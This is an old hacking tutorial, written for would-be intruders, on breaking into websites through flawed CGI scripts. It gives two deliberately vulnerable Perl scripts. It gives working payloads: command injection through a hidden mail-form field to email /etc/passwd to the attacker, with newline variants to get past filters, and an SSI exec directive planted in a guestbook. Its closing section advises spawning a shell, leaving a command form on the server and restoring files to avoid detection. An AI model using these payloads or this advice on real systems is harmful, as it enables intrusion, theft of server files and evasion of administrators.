Introduction
CGI programs are a major source of security holes. On a typical site the
server and config files may be secure, but if CGI programs are not
meticulously checked before they are used then serious security flaws
can often be uncovered. If at any time you are having difficulty, see
the Notes section near the bottom of this document.
CGI basics
The letters "CGI" stand for "Common Gateway
Interface". CGI is a way to add flexibility to websites by
providing a mechanism for programs to be executed on the server
(sometimes with input from the user on the client-side), and for their
output to be displayed back to the client (or just logged somewhere on
the server for later inspection). These programs can be written in any
language, but by far the most common is perl. Perl is ideal for handling
text-based input easily, so it's the language of choice for many CGI
developers. Usually the term "CGI script" actually refers to
"perl script".
What makes a CGI program dangerous?
There are, for example, several places where CGI programs are made
available for free. If you downloaded a set of perl scripts from a site
such as this you would probably expect them to be bug-free and install
them without a second thought. There are also the problems of time and
operator competence. Most people don't have the time or the knowledge to
go through a 5000-line bulletin board script to find that single
vulnerable statement. This isn't just limited to free scripts though.
Some very high-profile professional script-packages have recently been
found to be vulnerable to attack.
Preparation
If you know what script a site is using and it's freely available,
get it! By examining the code and playing with it on your own system
you'll be able to find holes a lot more easily than by just guessing.
And your failed attempts won't be noticed by the server administrator.
Methods of attack
Insecure shell calls
This applies to CGI programs written in many languages, but most
commonly perl. If the program does not treat user input carefully there
is a risk that a malicious user may craft it to be processed by the
program in a dangerous way. Consider this example. The classic
vulnerable "mail" script, for example a feedback form. A
website visitor is asked for comments that will be sent to the
webmaster's email address by a script running on the server.
-- vuln1.html - The submission form --
<html>
Thankyou for visiting my site. Please submit your comments and
suggestions here:
<br>
<form action="/cgi-bin/vuln1.pl" method="GET">
<input
type="hidden" name="address" value="[email protected]">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
</html>
-- EOF -- --
vuln1.pl - The vulnerable perl script --
#!/usr/bin/perl
# Output will be an html page
print "Content-type: text/html\n\n";
# Get input from form into the @pairs array
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# For each name/value pair in the array
foreach $pair (@pairs) {
# Split the pair into their own variables
($name, $value) = split(/=/, $pair);
# Convert the form-encoding back
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# Store the destination email address and comments in variables
if ($name eq "address") { # Store the destination email
address
$address = $value; } elsif ($name eq "comments") { # Store the
comments
$comments = $value;
}
}
# At this point $address holds the address specified on the form,
and
# $comments holds the user's comments.
# --- "Active" part
# See discussion for details of this part open(MAIL,"| /bin/mail
$address"); print MAIL "$comments"; close(MAIL);
# --- End of "active" part
# Print output for the user
print <<EOT;
<html>
Thanks for your comments :)
</html>
EOT
-- EOF --
There are two files in the above example. The html file that takes the
input from the user, and the vulnerable perl script. If you don't know
perl then you don't need to try to understand how most of it works. Just
know that the destination email address (as specified by a hidden form
element in the html page) and the comments (from the textarea) are
stored, and passed to the mail program inside the "active"
part.
In perl the open function is used to open a file, or more importantly
here, a pipe. In this case a pipe to the command "/bin/mail
[email protected]" is opened and the comments are written to
it, causing them to be emailed to the webmaster.
Look at what's happening here. The "/bin/mail [email protected]"
command is produced by starting /bin/mail with the address specified by
the html page. If a malicious user was to save a copy of the html
locally, and modify it by changing the lines.
<form action="/cgi-bin/vuln1.pl" method="GET">
<input
type="hidden" name="address" value="[email protected]">
to these:
<form action="http://www.vulnerable.com/cgi-bin/vuln1.pl"
method="GET">
<input
type="hidden" name="address" value="[email protected]">
The action must now contain the complete URL since the html no longer
resides on the server, and the email address has been replaced with your
own. Now the comments will be sent to your email address.
Now, what would happen if you were to change the email address part to
this? value="[email protected];mail [email protected] < /etc/passwd"
Inside the script this email address would translate to the command
"/bin/mail [email protected];mail [email protected] < /etc/passwd"
causing the password file to be mailed to your address :)
(Note: I use /etc/passwd in examples throughout this document, but it is
only for example purposes. Nowadays this file has limited value to an
intruder as on modern systems the passwd file will not contain the
actual password hashes).
If you find that the script filters the ; character, you can always try
the | character, or \n (a newline), as these both cause another command
to be executed in a line. Bear in mind that using | will cause the
output of the first command to be fed into the second (won't usually
matter), and that to send a newline character over the web you must
encode it as %0a. So the address part could now be
value="[email protected]%0amail
[email protected] < /etc/passwd"
Insecure use of SSI
SSI means "Server Side Includes". These are instructions
that can be placed in html files that are parsed by the server when the
page is requested to give on-the-fly information. These pages are
normally given the extension .shtml (or some shorter version), but this
depends on the setup of the server. On some servers, all html documents
are parsed. All includes take the form
"<!--#<tag><whitespace><parameters>[<whitespace>]"-->".
Here are some examples:
<!--#echo var="DATE_GMT" --> Prints the current date
<!--#include virtual="/ssi/header.html" --> Includes a common header section
<!--#exec cmd="uptime" --> Displays the system's uptime
There's a lot more you can do with SSI - take a look around on the net for
more
If you could add your own SSI to a file that is parsed by the webserver, you
would be able to execute commands, include files, etc. Many CGI programs do not
take this into account. Here's an example:
-- vuln2.shtml - A public comments page --
<html>
<!--#include virtual="/ssi/header.html" -->
Thankyou for visiting my site. Please submit your comments and suggestions
here:
<br>
<form action="/cgi-bin/vuln2.pl" method="GET">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
<hr>
Here's what other people have had to say:
<hr>
<!--begin-->
<!--#include virtual="/ssi/footer.html" -->
</html>
-- EOF --
-- vuln2.pl - The vulnerable perl script --
#!/usr/bin/perl
# Define the location of the page to be updated
# Change this to the location of vuln2.shtml if you're trying this out
$pagename = "/home/web/html/vuln2.shtml";
# Print content-type header
print "Content-type: text/html\n\n";
# Get input from form into the @pairs array
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# For each name/value pair in the array
foreach $pair (@pairs) {
# Split the pair into their own variables
($name, $value) = split(/=/, $pair);
# Convert the form-encoding back
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# Store the comments in a variable
if ($name eq "comments") { # Store the comments
$comments = $value;
}
}
# At this point $comments holds the user's comments.
# Separate each comment in the output file
$comments .= "\n<hr>\n";
# --- "Active" part
# Open the file for read/write
open(FILE,"+<$pagename") || (print("Cannot open file!\n") && exit);
# Lock the file to prevent other processes opening it
flock(FILE, 2);
# Read the file into the @list array
@list = <FILE>;
# Search through the array and insert the comments just before the
# <!--begin--> line
$linenum = 1;
foreach $line (@list) {
if ($line =~ /^<!--begin-->/) {
$linenum--;
splice(@list, $linenum, 0, $comments);
last;
}
$linenum++;
}
# Write the array back to the file
seek(FILE,0,0);
truncate(FILE,0);
foreach $line (@list) {
print FILE $line;
}
# Close the file
close(FILE);
# --- End "active" part
# Print output for the user
print <<EOT;
<html>
Thanks for your comments. Click <a href="/vuln2.shtml">here</a> to
return to the comments page :)
</html>
EOT
-- EOF --
These two files comprise a simple guestbook. You can see that the .shtml file
uses SSI to display a common header and footer (using the include directive).
When this file is sent to the browser the include directives will be replaced
by the contents of the appropriate files. Note that the <!--begin--> in the
.shtml file is merely marking where the next comment should be inserted. It
should not be confused with an SSI directive, as these all start <!--#.
Since this is such a simple script it doesn't do any input validation. If this
was a normal html page you would be able to insert html, including javascript,
into the page. Because it's SSI-enabled, try entering something like the
following in the comments box:
<!--#exec cmd="cat /etc/passwd" -->
Now, when you go back to the comments page you'll see the password file :)
(Note: The file will appear to be one long line - this is simply because html
doesn't insert line breaks at newlines. Use your browser's "view source"
function to get a more readable output).
This is ideal. However, some server admins disable the exec directive to
prevent this type of attack. In this case the best you can do is use the
include directive to include the contents of a file whose location you know,
such as a password database file that is not available via the web with your
current access rights, but still within the web root. Note that some files
(such as CGI scripts) will not have their source included by using an include
directive. From an intruder's point of view, the include directive has limited
value, and without exec there isn't always much you can do.
Buffer overflow
This applies to CGI programs written in languages such as C. If the program
does not validate its input properly a malicious user could overflow a buffer
in the program to execute arbitrary code on the server. Since buffer overflows
are beyond the scope of this article I won't go into any more detail, but
information on this kind of attack is available to anyone who searches for it.
A good article to read to get started with buffer overflows is "Smashing The
Stack For Fun And Profit" in Phrack 49. Look it up. :)
What to do once you're in
First of all, don't pull an rm -Rf / . If you take note of anything
I say, it should be that damaging sites is lame. Other than that, you
have to make the decision whether what you're about to do is reasonable
or not. Remember, unless you know what you're doing (which you probably
don't since you're reading this) and you try anything stupid you'll get
caught. One thing you might want to do is report the vulnerability. Mail
the server admin and let them know - if they're a reasonable person
they'll fix the hole, and you'll make a new friend :) If the hole is in
a widely-distributed CGI program, report it to the creators so that it
can be fixed for future versions, and current users can be warned.
Presumably you're trying to break into the site for a reason - to get
access to files, etc. Do what you want and come back out. And if you
don't want to get noticed, clean up after yourself. In the above
example, instead of just causing the password file (assuming it was your
target file) in the page for everyone to see, you could write a bit of
perl code to spawn a shell on the server, or provide a form interface in
another file for easy access to further commands. After setting up
something like this, try to put the original file back the way you found
it, and chances are you won't get noticed for longer.
Notes
In this document I use UNIX-style path and filenames. Most of the
ideas I've discussed here work exactly the same under NT and other
platforms, it's just that I wrote these examples on a Linux system.
When you execute commands on the system, you do so with the rights of
the user/ group the webserver runs as, which is usually nobody/nobody.
This is enough access for complete control over the files the webserver
uses though.
I use perl scripts here for example purposes. If you don't know perl you
only really need to pay attention to the sections marked
'"active" part', as these are the sections that contain the
vulnerable code.
If you're testing these files out for yourself, make sure you set the
file/pathnames correctly, and remember to chmod your cgi scripts 755 so
that they are executable, and that you have specified the correct path
to perl on your system in the first line of each script. Also, in the
SSI example, you will need to chmod vuln2.shtml 777 since that file gets
written to by the script.
These scripts are just simple examples. Sometimes you have to do a
little more work than this to get around filters, etc, but often it is
possible. Experiment.
|